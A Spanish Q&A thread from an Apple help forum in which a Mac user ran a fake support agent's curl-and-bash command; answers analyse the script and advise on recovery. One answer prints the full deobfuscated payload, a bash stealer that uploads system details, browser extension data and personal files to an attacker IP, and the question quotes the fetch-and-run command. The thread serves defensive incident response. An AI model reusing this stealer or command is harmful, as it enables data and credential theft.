16 votos

¡Creo que descargué spyware! Usé un comando de curl en la terminal dado por un usuario falso de soporte para descargar un archivo .sh

Caí completamente en la trampa de un estafador que me ayudaba a depurar un problema. Ignoré todas las advertencias hasta que fue demasiado tarde...

Ingrese el comando a continuación en la terminal de mi macbook y descargó un archivo .sh en mi computadora.

curl -s -O http://REDACTED/pjuWevzu/troubleshoot.sh && bash troubleshoot.sh

¿Qué pasos debo seguir para eliminar el archivo y eliminar cualquier spyware?

32voto

Linc D. Puntos 11

No es necesario publicar el script; lo descargué. Es un script de shell altamente obfuscado que parece, lo más importante, hacer lo siguiente.

Primero, instala una extensión (presumiblemente maliciosa) en cualquiera de varios navegadores web que ya están presentes.

Segundo, intenta enviar todos los archivos en las subcarpetas de Escritorio, Documentos y Descargas de tu carpeta de inicio al atacante. Si ejecutaste este script, debes asumir que todos esos archivos están comprometidos, sea lo que sea que eso signifique para ti.

También deberías eliminar todas las extensiones del navegador y reinstalar las que desees, si las hay.

Este es el payload principal, desobfuscado:

#!/bin/bash
HOST="http://168.100.9.219:3000"
function getInfo() {
    echo "Dirección IP: $(ifconfig | grep "inet " | grep -Fv 127.0.0.1 | awk '{print $2}' || echo 'falló')" >>$TMPDIR/sys_info.txt
    echo "Sistema operativo: $(uname -a || echo 'error'), " >>$TMPDIR/sys_info.txt
    echo "Versión del SO: $(sw_vers -productVersion || echo 'falló')" >>$TMPDIR/sys_info.txt
    echo "Construcción del SO: $(sw_vers -buildVersion || echo 'falló')" >>$TMPDIR/sys_info.txt
    echo "Nombre de host: $(hostname -s || echo 'error'), " >>$TMPDIR/sys_info.txt
    echo "Dominio DNS: $(hostname -d || echo 'error')" >>$TMPDIR/sys_info.txt
    echo "Nombre de dominio completamente calificado: $(hostname -f || echo 'error')" >>$TMPDIR/sys_info.txt
    curl -s --output /dev/null -F "theFile=@$TMPDIR/sys_info.txt" "$HOST/upload"
    # limpieza
    rm -rf $TMPDIR/sys_info.txt
}
function getBrowser() {
    browsers=("Google/chrome" "BraveSoftware/Brave-Browser" "Microsoft/Edge" "Yandex/YandexBrowser" "")
    INDEX=0
    for path in "${browsers[@]}"; do
        if [ -n "$(ls -A ~/Library/'Application Support'/$path/ 2>/dev/null)" ]; then
            cd ~/Library/'Application Support'/$path/*/'Local Extension Settings'/
            case $INDEX in
            0)
                zipname="chrome.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            1)
                zipname="brave.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            3)
                zipname="Edge.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            4)
                zipname="Yandex.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            5)
                zipname="otro.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            *) ;;
            esac
            let INDEX=${INDEX}+1
        else
            echo "Error al localizar rutas: $path" >>error_log.txt
        fi
    done
}
function getCommons() {
    commons=("Escritorio" "Documentos" "Descargas")
    TEMPFOLDER=$TMPDIR/comunes
    INDEX=0
    for path in "${commons[@]}"; do
        mkdir -p $TEMPFOLDER/$path
        cd ~/$path/
        for file in *; do
            if [ ! -d "$file" ]; then
                zipname="Docs"
                maxsize=2000000
                actualsize=$(wc -c <"$file")
                case $INDEX in 
                0)
                    if [ $actualsize -lt $maxsize ] 
                    then
                        # echo $file
                        cp "$file" $TEMPFOLDER/Escritorio >/dev/null 2>&1
                    fi
                    ;;
                1)
                    if [ $actualsize -lt $maxsize ] 
                    then
                        # echo $file
                        cp "$file" $TEMPFOLDER/Documentos >/dev/null 2>&1
                    fi
                    ;;
                2)
                    if [ $actualsize -lt $maxsize ] 
                    then
                        # echo $file
                        cp "$file" $TEMPFOLDER/Descargas >/dev/null 2>&1
                    fi
                    ;;
                *) ;;
                esac
            fi
        done
        # contar
        let INDEX=${INDEX}+1
        # enviar y limpiar
        cd $TEMPFOLDER/"$path"
        zip -r $TEMPFOLDER/"$path.zip" * >/dev/null 2>&1
        cd $TEMPFOLDER/
        curl -s --output /dev/null -F "theFile=@$path.zip" "$HOST/upload"

    done
    # limpieza
    rm -rf $TEMPFOLDER
}
function main() {
        getInfo
        getBrowser
        getCommons
}
main

14voto

jpa Puntos 131

Según análisis de Linc D., pero no veo que haga muchos cambios en el sistema en sí.

En cambio, el impacto principal es el siguiente:

Considere comprometidas todas las contraseñas que haya almacenado en cualquier navegador web, todo el historial del navegador y todas las cookies activas.

Es probable que una contraseña maestra del navegador, si tiene configurada alguna, proteja las contraseñas pero no contaría con ello. Debe cambiar cada contraseña que haya guardado en su navegador y cerrar sesión en todos los sitios en los que esté actualmente conectado. Los sitios bien diseñados invalidan las sesiones cuando cambia su contraseña, pero no es seguro.

Además, todos los archivos almacenados en Escritorio, Documentos y Descargas han sido subidos al servidor del atacante.

4voto

David Anderson Puntos 2189

La pregunta original del OP fue publicada en Stack Exchange, donde se incluyó la siguiente imagen. La imagen muestra la salida después de ejecutar los comandos dados en la pregunta del OP. (Nota: He redactado la dirección IP originalmente mostrada en la imagen del OP, porque la misma dirección ha sido redactada en el texto de la pregunta del OP.)

introducir descripción de la imagen aquí

El texto verde mostrado en la imagen no proviene del comando curl o del script mostrado en la respuesta publicada por Linc D..

No hay forma de determinar el contenido del script troubleshoot.sh que se ejecutó en el Mac del OP.

Varios usuarios (incluyéndome a mí mismo) han descargado el script en un esfuerzo por determinar el contenido. (Encontré que el archivo no estaba en forma de texto de script Bash). Sin embargo, no hay forma de saber si el contenido de troubleshoot.sh había sido cambiado desde que fue ejecutado por el OP. O si la dirección IP había sido cambiada a otro ordenador.

El script mostrado en la respuesta de Linc D. toma cierta información y no deja rastro. Quizás, eso es precisamente lo que el atacante pretendía que uno pensara. Podrían haber ocurrido más cosas. Por ejemplo, podría haberse iniciado un proceso en segundo plano que hiciera una búsqueda más exhaustiva de los archivos del OP. O, basándose en los ajustes de compartición del OP, otros ordenadores podrían haber sido infectados.

Por lo tanto, más allá de cambiar las contraseñas, el OP puede considerar borrar todos los volúmenes montados cuando se ingresaron o se ingresaron los comandos. Reinstalar macOS, luego cargar archivos solo desde copias de seguridad realizadas antes de ingresar los comandos. Repita el proceso para cualquier otro ordenador que haya podido ser vulnerable.

AppleAyuda.com

AppleAyuda es una comunidad de usuarios de los productos de Apple en la que puedes resolver tus problemas y dudas.
Puedes consultar las preguntas de otros usuarios, hacer tus propias preguntas o resolver las de los demás.

Powered by:

X